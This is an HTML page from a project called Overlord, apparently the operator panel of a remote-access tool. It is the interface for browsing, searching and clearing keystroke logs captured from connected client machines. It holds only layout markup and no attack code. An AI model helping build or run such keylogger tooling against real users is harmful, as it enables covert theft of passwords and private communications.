Files
overlord/Overlord-Server/public/keylogger.html
T

185 lines
8.4 KiB
HTML

<!DOCTYPE html>
<html lang="en" class="dark">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Keylogger - Overlord</title>
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
<link rel="stylesheet" href="/assets/tailwind.css" />
<link rel="stylesheet" href="/vendor/fontawesome/css/all.min.css" />
<link rel="stylesheet" href="/assets/main.css" />
<link rel="stylesheet" href="/assets/custom.css" />
<script defer src="/assets/toast.js"></script>
</head>
<body class="min-h-screen bg-gradient-to-br from-slate-950 via-slate-900 to-slate-950 text-slate-100">
<header id="top-nav"></header>
<main class="px-5 py-6 flex-1 flex flex-col">
<div class="flex-1 flex flex-col gap-4" style="max-width: 100%">
<!-- Header -->
<div class="flex flex-wrap gap-3 items-center justify-between">
<div class="flex items-center gap-3">
<div
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 shadow-lg"
>
<i class="fa-solid fa-keyboard text-yellow-400"></i>
<span class="font-semibold">Keylogger</span>
<span id="status-pill" class="pill pill-offline">Connecting</span>
</div>
<div
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300 shadow-lg"
>
<span class="text-slate-400">Client:</span>
<span id="clientLabel" class="font-mono">-</span>
</div>
<div class="hidden md:flex items-center gap-2 text-xs text-slate-300 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 shadow-lg">
<i class="fa-solid fa-database text-slate-400"></i>
<span>Max file size:</span>
<span class="font-semibold text-slate-200">10MB</span>
</div>
</div>
<div class="flex gap-2">
<button
id="searchAllBtn"
class="button ghost"
>
<i class="fa-solid fa-magnifying-glass"></i><span>Search All Logs</span>
</button>
<button
id="refreshBtn"
class="button ghost"
>
<i class="fa-solid fa-rotate"></i><span>Refresh</span>
</button>
<button
id="clearBtn"
class="button danger"
>
<i class="fa-solid fa-trash"></i><span>Clear All Logs</span>
</button>
</div>
</div>
<!-- Keylog Files List -->
<div
class="flex-1 bg-slate-900/70 border border-slate-800 rounded-lg p-4 overflow-auto shadow-xl"
>
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
<i class="fa-solid fa-file-lines"></i>
Log Files
</h3>
<div id="file-list" class="space-y-2">
<div class="text-slate-500 text-center py-8">
Loading log files...
</div>
</div>
</div>
<!-- Log Content Viewer -->
<div
id="log-viewer"
class="hidden bg-slate-900/70 border border-slate-800 rounded-lg p-4 shadow-xl"
style="max-height: 600px"
>
<div class="flex items-center justify-between mb-3">
<h3 class="text-lg font-semibold flex items-center gap-2">
<i class="fa-solid fa-eye"></i>
<span id="viewing-filename">Log Content</span>
</h3>
<button id="closeViewerBtn" class="button ghost">
<i class="fa-solid fa-xmark"></i>
</button>
</div>
<div class="flex items-center gap-2 mb-3">
<div class="flex-1 flex items-center gap-2 bg-slate-950 border border-slate-700 rounded-lg px-3 py-2">
<i class="fa-solid fa-search text-slate-400"></i>
<input
id="searchInput"
type="text"
placeholder="Search in current log..."
class="flex-1 bg-transparent border-none outline-none text-sm text-slate-100 placeholder-slate-500"
/>
<button id="clearSearchBtn" class="hidden text-slate-400 hover:text-slate-200">
<i class="fa-solid fa-xmark"></i>
</button>
</div>
<div id="searchNav" class="hidden flex items-center gap-1 text-sm">
<span id="searchCount" class="text-slate-400 mr-2">0 / 0</span>
<button id="prevMatchBtn" class="px-2 py-1 rounded border border-slate-700 bg-slate-800/70 hover:bg-slate-700 disabled:opacity-50 disabled:cursor-not-allowed">
<i class="fa-solid fa-chevron-up"></i>
</button>
<button id="nextMatchBtn" class="px-2 py-1 rounded border border-slate-700 bg-slate-800/70 hover:bg-slate-700 disabled:opacity-50 disabled:cursor-not-allowed">
<i class="fa-solid fa-chevron-down"></i>
</button>
</div>
</div>
<div id="log-meta" class="flex flex-wrap gap-2 mb-3 text-xs">
<span class="inline-flex items-center gap-1 px-2 py-1 rounded bg-slate-800/70 border border-slate-700 text-slate-300">
<i class="fa-solid fa-hashtag text-slate-400"></i>
<span id="log-lines">Lines: -</span>
</span>
<span class="inline-flex items-center gap-1 px-2 py-1 rounded bg-slate-800/70 border border-slate-700 text-slate-300">
<i class="fa-solid fa-font text-slate-400"></i>
<span id="log-chars">Chars: -</span>
</span>
<span class="inline-flex items-center gap-1 px-2 py-1 rounded bg-slate-800/70 border border-slate-700 text-slate-300">
<i class="fa-solid fa-clock text-slate-400"></i>
<span id="log-updated">Updated: -</span>
</span>
</div>
<div
id="log-content"
class="bg-slate-950 border border-slate-700 rounded p-3 font-mono text-sm overflow-auto"
style="max-height: 500px; white-space: pre-wrap; word-break: break-word; line-height: 1.5;"
>
</div>
</div>
</div>
<!-- Global Search Modal -->
<div
id="globalSearchModal"
class="hidden fixed inset-0 z-50 flex items-center justify-center bg-black/60 backdrop-blur-sm"
>
<div class="bg-slate-900 border border-slate-700 rounded-lg shadow-2xl w-full max-w-4xl max-h-[80vh] flex flex-col m-4">
<div class="flex items-center justify-between p-4 border-b border-slate-700">
<h3 class="text-lg font-semibold flex items-center gap-2">
<i class="fa-solid fa-magnifying-glass text-blue-400"></i>
Search All Logs
</h3>
<button id="closeGlobalSearchBtn" class="text-slate-400 hover:text-slate-200">
<i class="fa-solid fa-xmark text-xl"></i>
</button>
</div>
<div class="p-4 border-b border-slate-700">
<div class="flex items-center gap-2 bg-slate-950 border border-slate-600 rounded-lg px-3 py-2">
<i class="fa-solid fa-search text-slate-400"></i>
<input
id="globalSearchInput"
type="text"
placeholder="Search across all log files... (min 3 characters)"
class="flex-1 bg-transparent border-none outline-none text-sm text-slate-100 placeholder-slate-500"
/>
<button id="globalSearchClearBtn" class="hidden text-slate-400 hover:text-slate-200">
<i class="fa-solid fa-xmark"></i>
</button>
</div>
<div id="globalSearchStats" class="hidden mt-2 text-xs text-slate-400 flex items-center gap-4">
<span id="globalSearchProgress"></span>
<span id="globalSearchCount"></span>
</div>
</div>
<div id="globalSearchResults" class="flex-1 overflow-auto p-4">
<div class="text-slate-400 text-center py-8">
<i class="fa-solid fa-magnifying-glass text-4xl mb-2 opacity-50"></i>
<p>Enter a search term to find across all log files</p>
</div>
</div>
</div>
</div>
</main>
<script type="module" src="/assets/keylogger.js"></script>
</body>
</html>